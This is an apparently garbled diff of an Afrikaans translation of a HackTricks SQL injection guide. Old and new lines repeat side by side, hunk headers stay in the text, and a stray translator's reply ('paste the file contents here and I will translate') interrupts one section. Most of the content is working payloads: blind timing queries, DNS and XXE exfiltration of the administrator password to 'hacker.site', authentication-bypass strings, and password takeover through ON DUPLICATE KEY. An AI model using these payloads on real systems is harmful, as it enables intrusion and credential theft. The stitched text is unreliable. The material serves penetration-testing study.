In hierdie geval is daar **geen** manier om die **respons** van die query te **onderskei** op grond van die konteks van die bladsy nie. Maar jy kan die bladsy **langer laat laai** as die geraaisde karakter korrek is. Ons het hierdie tegniek reeds voorheen gesien in gebruik om [confirm a SQLi vuln](#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Gestapelde Vrae
## Stacked Queries
Jy kan gestapelde vrae gebruik om **meerdere vrae agtereenvolgens uit te voer**. Let daarop dat terwyl die daaropvolgende vrae uitgevoer word, die **resultate** **nie aan die toepassing teruggestuur** word nie. Daarom is hierdie tegniek hoofsaaklik nuttig in verband met **blinde kwesbaarhede** waar jy 'n tweede vraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout of tydsvertraging te aktiveer.
Jy kan stacked queries gebruik om **meerdere queries agtereenvolgens uit te voer**. Let daarop dat terwyl die daaropvolgende queries uitgevoer word, die **resultate** **nie aan die toepassing teruggestuur word** nie. Hierdie tegniek is dus hoofsaaklik nuttig vir **blind vulnerabilities**, waar jy 'n tweede query kan gebruik om 'n DNS lookup, 'n voorwaardelike fout, of 'n tydvertraging te veroorsaak.
**Oracle** ondersteun **gestapelde vrae.** **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `QUERY-1-HERE; QUERY-2-HERE`
**Oracle** ondersteun nie **stacked queries** nie. **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `QUERY-1-HERE; QUERY-2-HERE`
## Uit-baan Exploitatie
## Out of band Exploitation
As **geen ander** eksploitasiemetode **gewerk het nie**, kan jy probeer om die **databasis** die inligting na 'n **eksterne gasheer** wat deur jou beheer word, te laat uitvoer. Byvoorbeeld, via DNS-vrae:
As **geen ander** eksploitasie-metode **gewerk** het nie, kan jy probeer om die **database ex-filtrate** die inligting na 'n deur jou beheerde **external host**. Byvoorbeeld, via DNS queries:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Uit-baan data-uitvloeiing via XXE
### Out of band data exfiltration via XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Geoutomatiseerde Exploitatie
## Geoutomatiseerde Eksploitasie
Kyk na die [SQLMap Cheatsheet](sqlmap/index.html) om 'n SQLi kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) te exploiteer.
Kyk na die [SQLMap Cheatsheet](sqlmap/index.html) om 'n SQLi-kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) uit te buit.
## Tegnies spesifieke inligting
## Tegnologie-spesifieke inligting
Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te exploiteer. Vind nog 'n paar truuks wat afhanklik is van databasis tegnologie in hierdie boek:
Ons het reeds al die maniere bespreek om 'n SQL Injection-kwesbaarheid uit te buit. Vind meer truuks wat van die databasis-tegnologie afhang in hierdie boek:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -340,42 +340,42 @@ Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te exploi
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html)
Of jy sal **'n baie truuks vind rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
Of jy sal **baie truuks oor: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL vind by** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Verifikasie omseiling
## Outentisering-omseiling
Lys om te probeer om die aanmeld funksionaliteit te omseil:
Lys om te probeer om die aanmeldfunksionaliteit te omseil:
{{#ref}}
../login-bypass/sql-login-bypass.md
{{#endref}}
### Rau hash verifikasie Omseiling
### Raw hash outentisering-omseiling
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Hierdie navraag demonstreer 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer in outentikasie kontroles gebruik word, wat die stelsel kwesbaar maak vir SQL-inspuiting. Aanvallers kan dit benut deur insette te skep wat, wanneer gehas, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
Hierdie query demonstreer ’n kwesbaarheid wanneer MD5 met true vir raw output in authentication checks gebruik word, wat die stelsel vatbaar maak vir SQL injection. Aanvallers kan dit uitbuit deur insette te vervaardig wat, wanneer gehash, onverwagte dele van SQL-opdragte produseer en lei tot ongemagtigde toegang.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Geïnkorporeerde hash-verifikasie omseiling
### Injected hash authentication Bypass
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Aanbevole lys**:
Jy moet elke lyn van die lys as gebruikersnaam gebruik en as wagwoord altyd: _**Pass1234.**_\
Jy moet elke reël van die lys as username gebruik en as password altyd: _**Pass1234.**_\
_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)_
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK Verifikasie Omseiling
### GBK Authentication Bypass
IF ' word geskaap kan jy %A8%27 gebruik, en wanneer ' geskaap word sal dit geskep word: 0xA80x5c0x27 (_╘'_)
As ' ontsnap word, kan jy %A8%27 gebruik, en wanneer ' ontsnap word sal dit geskep word: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -390,72 +390,86 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Polyglot-inspuiting (multikontext)
### Polyglot injection (multicontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Stelling
## Insert Statement
### Verander wagwoord van bestaande objek/gebruiker
### Modify password of existing object/user
Om dit te doen, moet jy probeer om **'n nuwe objek te skep met die naam "master object"** (waarskynlik **admin** in die geval van gebruikers) deur iets te verander:
Om dit te doen moet jy probeer om **'n nuwe objek te skep met dieselfde naam as die "master object"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:
- Skep gebruiker met naam: **AdMIn** (hoofdletters & kleinletters)
- Skep gebruiker met naam: **AdMIn** (hoof- en kleinletters)
- Skep 'n gebruiker met naam: **admin=**
- **SQL Truncation Aanval** (wanneer daar 'n soort **lengte beperking** in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: **admin \[baie spasie] a**
- **SQL Truncation Attack** (wanneer daar 'n **lengtebeperking** in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: **admin \[a lot of spaces] a**
#### SQL Truncation Aanval
#### SQL Truncation Attack
As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** naboots, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.
As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy die gebruiker **admin** wil naboots, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spaces] a_" en enige wagwoord.
Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **bestaande** is in die databasis. As **nie**, sal dit die **gebruikersnaam** **afkap** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit **automaties al die spasies aan die einde verwyder** terwyl dit die gebruiker "**admin**" met die **nuwe wagwoord** in die databasis opdateer (sommige foute kan verskyn, maar dit beteken nie dat dit nie gewerk het nie).
Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **in die databasis bestaan**. Indien **nie**, sal dit die **gebruikersnaam** **afknip** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spaces]_") en dan sal dit **outomaties al die spasies aan die einde verwyder en** binne die databasis die gebruiker "**admin**" bywerk met die **nuwe wagwoord** (daar kan 'n fout verskyn maar dit beteken nie dat dit nie gewerk het nie).
Meer inligting: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL installasies nie. Terwyl vergelykings steeds agtergrondspasies standaard ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Note: Hierdie aanval sal nie meer werk soos hierbo beskryf in nuutste MySQL installations nie. Alhoewel vergelykings steeds trailing whitespace as verstek ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Invoeg tyd-gebaseerde kontrole
### MySQL Insert time based checking
Voeg soveel `','',''` by as wat jy oorweeg om die VALUES stelling te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
Voeg soveel `','',''` by as wat nodig is om die VALUES statement te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek aan te dui wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLUITING sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
Die `ON DUPLICATE KEY UPDATE` clause in MySQL word gebruik om die aksies te spesifiseer wat die databasis moet uitvoer wanneer 'n poging gemaak word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIQUE index of PRIMARY KEY tot gevolg sou hê. Die volgende voorbeeld demonstreer hoe hierdie funksie misbruik kan word om die wagwoord van 'n administratorrekening te wysig:
Example Payload Injection:
'n Invoegpayload kan soos volg saamgestel word, waar twee rye probeer word om in die `users` tabel ingevoeg te word. Die eerste ry is 'n lokval, en die tweede ry teiken 'n bestaande administrateur se e-pos met die bedoeling om die wagwoord op te dateer:
'n Injection payload kan soos volg saamgestel word, waar twee rye probeer word om in die `users` tabel ingevoeg te word. Die eerste ry is 'n lokmiddel, en die tweede ry mik op die e-pos van 'n bestaande administrator met die doel om die wagwoord op te dateer:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
Hier is hoe dit werk:
- Die navraag probeer om twee rye in te voeg: een vir `generic_user@example.com` en 'n ander vir `admin_generic@example.com`.
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` klousule geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry op "bcrypt_hash_of_newpassword" te werk.
- Gevolglik kan outentisering dan probeer word met `admin_generic@example.com` met die wagwoord wat ooreenstem met die bcrypt-hash ("bcrypt_hash_of_newpassword" verteenwoordig die nuwe wagwoord se bcrypt-hash, wat vervang moet word met die werklike hash van die gewenste wagwoord).
- Die query probeer twee rye invoeg: een vir `generic_user@example.com` en nog een vir `admin_generic@example.com`.
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` clause geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry by te werk na "bcrypt_hash_of_newpassword".
- Gevolglik kan authentication dan probeer word met `admin_generic@example.com` en die password wat ooreenstem met die bcrypt hash ("bcrypt_hash_of_newpassword" verteenwoordig die nuwe password se bcrypt-hash, wat vervang moet word met die werklike hash van die gewenste password).
### Inligting onttrek
### Onttrek inligting
#### Skep 2 rekeninge terselfdertyd
Wanneer daar probeer word om 'n nuwe gebruiker en gebruikersnaam te skep, is wagwoord en e-pos nodig:
Wanneer jy 'n nuwe user wil skep, is username, password en email nodig:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Gebruik van desimale of hexadesimale
#### Gebruik desimale of heksadesimale
Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om te noem dat jy nie iets hoef te kommentaar nie.
Met hierdie tegniek kan jy inligting onttrek deur net 1 account te skep. Dit is belangrik om te weet dat jy niks hoef te comment nie.
Gebruik **hex2dec** en **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
Om die teks te verkry kan jy gebruik:
If the file is in your local repo:
- cat src/pentesting-web/sql-injection/README.md
- less src/pentesting-web/sql-injection/README.md
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
If you have a remote git repo:
- git clone <repo_url>
then cat src/pentesting-web/sql-injection/README.md
- git show HEAD:src/pentesting-web/sql-injection/README.md
If you have a raw HTTP URL:
- curl -sL <raw_url>/src/pentesting-web/sql-injection/README.md
- wget -qO- <raw_url>/src/pentesting-web/sql-injection/README.md
Or paste the file contents here and I will translate.
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
@ -468,9 +482,9 @@ Gebruik **hex** en **replace** (en **substr**):
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
## Gerouteerde SQL-inspuiting
## Routed SQL injection
Gerouteerde SQL-inspuiting is 'n situasie waar die inspuitbare navraag nie die een is wat uitset gee nie, maar die uitset van die inspuitbare navraag gaan na die navraag wat uitset gee. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection is 'n situasie waar die injectable query nie die een is wat output gee nie, maar die output van die injectable query na die query gaan wat output gee. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Voorbeeld:
```
@ -483,7 +497,7 @@ Voorbeeld:
### No spaces bypass
No Space (%20) - omseil met behulp van witruimte-alternatiewe
No Space (%20) - om te omseil deur alternatiewe vir witruimte te gebruik
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -492,31 +506,31 @@ No Space (%20) - omseil met behulp van witruimte-alternatiewe
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
Geen Spasiestreep - omseil met behulp van kommentaar
No Whitespace - bypass deur kommentaar
```sql
?id=1/*comment*/and/**/1=1/**/--
```
Geen Spasiestreep - omseil met behulp van hakies
Geen witruimte - omseiling deur hakies
```sql
?id=(1)and(1)=(1)--
```
### Geen komma omseiling
### No commas bypass
Geen Komma - omseiling met OFFSET, FROM en JOIN
No Comma - bypass deur OFFSET, FROM en JOIN te gebruik
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generiese Bypasses
### Generiese Omseilings
Swartlys gebruik van sleutelwoorde - omseil met hoofletters/kleinletters
Swartlys met sleutelwoorde - omseil deur gebruik van hoofletters/kleinletters
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Swartlys met sleutelwoorde, nie-sensitief vir hoofletters - omseil met 'n ekwivalente operator
Blacklist wat sleutelwoorde case-insensitief gebruik - bypass deur 'n ekwivalente operator te gebruik
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -524,10 +538,10 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Wetenskaplike Notasie WAF omseiling
### Scientific Notation WAF bypass
Jy kan 'n meer diepgaande verduideliking van hierdie truuk in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) vind.\
Basies kan jy die wetenskaplike notasie op onverwagte maniere gebruik om die WAF te omseil:
Jy kan 'n meer diepgaande verduideliking van hierdie truuk vind in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basies kan jy die scientific notation op onverwagte maniere gebruik om die WAF te omseil:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
@ -535,21 +549,48 @@ Basies kan jy die wetenskaplike notasie op onverwagte maniere gebruik om die WAF
```
### Bypass Column Names Restriction
Eerstens, let op dat as die **oorspronklike navraag en die tabel waaruit jy die vlag wil onttrek dieselfde aantal kolomme het**, jy net kan doen: `0 UNION SELECT * FROM flag`
Eerstens, let daarop dat as die **oorspronklike query en die tabel waaruit jy die flag wil uittrek dieselfde aantal kolomme het** jy net kan doen: `0 UNION SELECT * FROM flag`
Dit is moontlik om **toegang te verkry tot die derde kolom van 'n tabel sonder om sy naam te gebruik** met 'n navraag soos die volgende: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit lyk soos:
Dit is moontlik om toegang tot die **derde kolom van 'n tabel te kry sonder om sy naam te gebruik** met 'n query soos die volgende: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, dus in 'n sqlinjection sou dit soos volg lyk:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Of deur 'n **komma omseiling** te gebruik:
Of deur gebruik te maak van die **comma bypass**:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### WAF omseil voorstelle gereedskap
### Column/tablename injection in SELECT list via subqueries
As gebruikersinvoer in die SELECT list of tabel/kolom identifiers gekonkateneer word, sal prepared statements nie help nie, omdat bind parameters slegs values beskerm en nie identifiers nie. 'n Algemene kwesbare patroon is:
```php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
```
Idee vir uitbuiting: inject a subquery into the field position to exfiltrate arbitrary data:
```sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
```
Aantekeninge:
- Dit werk selfs wanneer die WHERE clause 'n bound parameter gebruik, omdat die identifier list steeds string-concatenated is.
- Sommige stacks laat jou ook toe om die table name te beheer (tablename injection), wat cross-table reads moontlik maak.
- Output sinks kan die gekose waarde in HTML/JSON reflekteer, wat XSS of token exfiltration direk vanaf die response toelaat.
Mitigasies:
- Moet nooit identifiers van gebruikersinvoer saamvoeg nie. Kaart toegelate kolomname na 'n vaste allow-list en citeer identifiers behoorlik.
- As dynamic table access nodig is, beperk dit tot 'n beperkte stel en los dit server-side op vanuit 'n veilige mapping.
### WAF-bypass-voorsteltools
{{#ref}}
@ -561,12 +602,15 @@ https://github.com/m4ll0k/Atlas
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Brute-Force Opsporing Lys
## Brute-Force-detectielys
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
​
## Verwysings
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}